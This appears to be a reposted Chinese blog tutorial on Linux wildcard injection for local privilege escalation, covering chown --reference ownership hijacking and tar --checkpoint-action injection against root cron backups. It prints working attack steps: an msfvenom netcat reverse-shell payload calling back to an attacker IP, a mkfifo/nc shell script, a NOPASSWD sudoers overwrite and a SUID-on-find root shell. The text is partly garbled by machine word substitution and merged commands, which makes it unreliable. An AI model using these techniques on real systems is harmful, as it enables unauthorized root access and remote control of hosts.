首页 » SEO优化 » php应用通配符技巧_运用通配符进行Linux本地提权

php应用通配符技巧_运用通配符进行Linux本地提权

访客 2024-12-13 0

扫一扫用手机浏览

文章目录 [+]

本文转自:FreeBuf

本文我将为大家先容一种非常有趣而又古老的UNIX黑客技能“通配符注入”。
虽说这已不是什么新技能了,但在后渗透利用中仍可能成为你手中的一把制胜利器。
相信阅读本文后,你将会对通配符有更加全面及深入的认识。
好了,话不多说让我们开始吧!

php应用通配符技巧_运用通配符进行Linux本地提权

通配符

php应用通配符技巧_运用通配符进行Linux本地提权
(图片来自网络侵删)

通配符是一种分外语句,紧张有型号()和问号(?),用来对字符串进行模糊匹配(比如文件名,参数名)。
当查找文件夹时,可以利用它来代替一个或多个真正字符;当不知道真正字符或

终端里面输入的通配符是由Shell处理的,不是由所涉及到命令语句处理的,它只会涌如今命令的“参数值”里(它不用在命令名称里,命令不记得,那就用Tab补全)。
当Shell在“参数值”中碰着了通配符时,Shell会将其当作路径或文件名去在磁盘上征采可能的匹配:若符合哀求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符通报给“命令”,然后再由命令进行处理。
总之,通配符实际上便是一种Shell实现的路径扩展功能。
在通配符被处理后,Shell会先完成该命令的重组,然后再连续处理重组后的命令,直至实行该命令。

部分通配符:

代表任意多个字符

? 代表任意单个字符

[] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写。

– 代表一个字符。

~ 用户的根目录。

示例1

首先,我们来创建一个新目录“wild”,并通过echo命令在每个创建的文件中写入一行内容。

cd/Desktop

mkdirwildcdwildecho\公众HelloFriends\"大众> file1echo\公众Thisis wildcard Injection\"大众>file2echo\公众takehelp\"大众> --help

接着,利用cat命令考试测验打开我们所创建的这3个文件:

catfile1

catfile 2

cat--help

你会创造,前两个文件我们可以正常打开并显示我们所写入的内容。
但-help文件中的内容却无法读取,而是从自己的库中调用了自己的-help选项输出,这种技巧被称之为Wildcardwildness(通配符在野)。

通过Chown挟制文件所有者

Linux/Unix是多用户多任务操作系统,所有的文件皆有其拥有者(Owner)。
利用chown命令可以将文件的拥有者加以改变。
一样平常来说,这个命令只能由系统管理者(root)利用,一样平常用户没有权限来改变别人的文件的拥有者,也没有权限可以将自己的文件的拥有者改设为别人。
只有系统管理者(root)才有这样的权限。

超级管理员用户(root)– 实行管理级任务,例如实行chown命令。

非root用户1(raj)– 实行普通任务,如创建文件

非root用户2(aarti)– 实行普通任务,如创建文件

恶意用户(Ignite)– 实行可导致文件所有者挟制的Chown文件引用技巧等任务。

不才图中你可以看到,所有PHP文件的所有者均为“raj”用户。
此时用户ignite可以在同一目录中实行以下命令,利用文件引用技巧来挟制文件所有者。

–reference=<参考文件或目录>:把指定文件或目录的所有者与所属组,统统设置成和参考文件或目录的所有者与所属组相同。

cd

ls-alecho\"大众\公众> my.phpecho> --reference=my.php

当root用户利用通配符修正所有PHP文件所有权时,ignite用户将取得所有文件间接所有权。

如果此时root用户实行chown将所有PHP的所有权授予用户aarti时,将会发生缺点,,ignite用户将自动获取所有PHP文件的所有权。

chown-Raarti:aarti.phpls-al

如果你对chown的开关选项有深入的理解的话,那么你一定知道下面这个选项。

–reference=RFILE(直接引用某个文件的属性来更换自己的元数据)

在本文的例子中用户ignite实行以下命令:

echo\"大众\公众> my.php

echo> --reference=my.php

然后,root用户通过通配符来修正文件所有权。
chown命令行采取了主不雅观的’-reference= .my.php’文件,并将其作为选项通报给命令行中的chown命令。

Tar的后利用技巧(阶段1)

Lab-Setup

Tar命令是Linux/Unix中非常常用的一个命令。
借助它,我们可以对任何目录进行压缩备份。
例如,创建一个新目录并授予其777权限,然后创建一些文件。

mkdirhtmlchmod777html

cdhtml

touchindex.html

touchraj

touchfile.txt

现在利用crontab创建一个定时任务,即每隔1分钟从/var/backups里面备份/html一次。

nano/etc/crontab

/1 root tar -zcf /var/backups/html.tgz/var/www/html/

实行以下命令来验证定时任务是否正常运作。

cd/var/backup

ls

Tar通配符注入(方法1)

提权

启动攻击机并进入至对目标系统的提权阶段。
这里假设我通过ssh成功登录到受害者的机器,并以非root用户权限访问其终端。
然后打开crontab查看是否有任何操持任务。

cat/etc/crontab

可以看到,这些任务都因此root权限实行的。
个中有一个和tar有关的并且每分钟实行一次的操持任务,让我们考试测验来利用它。

打开一个新终端,利用msfvenom天生nc反弹一句话,命令如下。

msfvenom-p cmd/unix/reverse_netcat lhost=192.168.1.102lport=8888R

复制payload并将其粘贴至受害者的shell中。

nc-lvp 8888

现在粘贴上面复制的payload,并在受害者的ttyshell中运行以下命令。

echo\公众mkfifo/tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh>/tmp/lhennp 2>&1; rm /tmp/lhennp\"大众> shell.shecho\"大众\"大众> \"大众--checkpoint-action=exec=shshell.sh\公众echo\"大众\公众> --checkpoint=1

tarcf archive.tar

上述命令帮助tar命令在第一个文件归档后运行文件shell.sh。
由于在crontab中tar因此root权限运行的,因此将会产生netcatshell并反弹至攻击机的8888端口。
回到侦听端,你将在一分钟后获取到受害者机器的反向连接。

id

whoami

如果你对chown的选项开关有深入的理解的话,那么你一定知道下面这两个选项。

–checkpoint[=NUMBER] 显示每个Numbers记录的进度(默认值为10)

–checkpoint-action=ACTION 在每个checkpoint(检讨点)上实行ACTION

这里的‘–checkpoint-action’选项,用于指定到达检讨点时将要实行的程序,这将许可我们运行一个任意的命令。
因此,选项‘–checkpoint=1’和‘–checkpoint-action=exec=shshell.sh’作为命令行选项交给了tar程序。

Tar的后利用技巧(阶段2)

LabSetup

这里我将为大家展示多种压缩备份的方法,以及特权提升技能。
利用tar命令对目录进行压缩备份,例如,创建一个新目录并授予其777权限,然后创建一些文件。

cd/tmp

mkdirdatacddataecho\公众\"大众> f1echo\"大众\"大众> f2echo\"大众\"大众> f3

ls

现在在其他目录中编写一个bash脚本,通过tar命令备份/tmp/data。

mkdirinfo

cdinfo

nanoscript.sh

chmod777script.sh

#!/bin/bashcd/tmp/data

tarcf /backup/backup.tgz

现在在crontab中创建一个操持任务,即每隔1分钟从/var/backups里面备份/html一次。

nano/etc/crontab /1 root /info/script.sh

1分钟后你会创造,backup.tgz文件天生并被保存在了info目录中。

Tar通配符注入

提权

启动攻击机并进入至对目标系统的提权阶段。
这里假设我通过ssh成功登录到受害者的机器,并以非root用户权限访问其终端。
然后打开crontab查看是否有任何操持任务。

cat/etc/crontab

可以看到,这些任务都因此root权限实行的,个中有一个每分钟实行一次的bash脚本任务。
通过cat命令读取内容后可得知,这里我们可以利用tar通配符注入利用。

打开一个新终端,利用msfvenom天生nc反弹一句话,命令如下。

复制payload并将其粘贴至受害者的shell中。

nc-lvp 8888

现在粘贴上面复制的payload,并在受害者的ttyshell中运行以下命令。

上述命令帮助tar命令在第一个文件归档后运行文件shell.sh。
由于在crontab中tar因此root权限运行的,因此将会产生netcatshell并反弹至攻击机的8888端口。
回到侦听端,你将在一分钟后获取到受害者机器的反向连接。

whoamicd/rootpwd

Tar通配符注入(方法2)

提权

攻击者希望借助通配符注入攻击,获取目标系统的最高访问权限。
因此,他们会考试测验在tar的帮助下注入一些恶意代码用于root访问。
这里有多种获取root访问权限的方法,你可以运用以下技能来提升特权。

考试测验通过添加sudoers文件为非root用户付与sudo权限,命令如下。

echo'echo\公众ignite ALL=(root) NOPASSWD: ALL\公众 > /etc/sudoers'> demo.shecho\"大众\公众> \"大众--checkpoint-action=exec=shdemo.sh\公众echo\"大众\"大众> --checkpoint=1

tarcf archive.tar

在上述命令的帮助下,我们考试测验授予ignite用户root权限,并在1分钟后成功升级为了root权限账户。

sudo-l

sudobash

whoami

Tar通配符注入(方法3)

提权

我们还可以考试测验为任意的系统二进制文件启用SUID位,同样地,你可以再次利用以下命令来获取root访问权限。

echo\"大众chmodu+s /usr/bin/find\公众> test.shecho\"大众\公众> \公众--checkpoint-action=exec=shtest.sh\公众echo\"大众\"大众> --checkpoint=1

tarcf archive.tar

ls-al /usr/bin/find

findf1 -exec \"大众whoami\公众\;

root

findf1 -exec \公众/bin/sh\公众\;

id

whoami

除了以上提到的这些方法外,实在还有很多tar注入提权的技巧和方法。
希望这篇文章能帮助你打开思路。
当然,如果你有更好更奥妙方法的话,也希望你不要吝啬把它分享给我和大家!

标签:

相关文章

php中表单全选技巧_全选全不选的jquery实现

通过勾选全选/全不选的复选框来实现项目的全选和全不选。怎么实现呢?首先全选/全不选的复选框和项目的复选框要区分开;其次,当点击全选...

SEO优化 2024-12-15 阅读0 评论0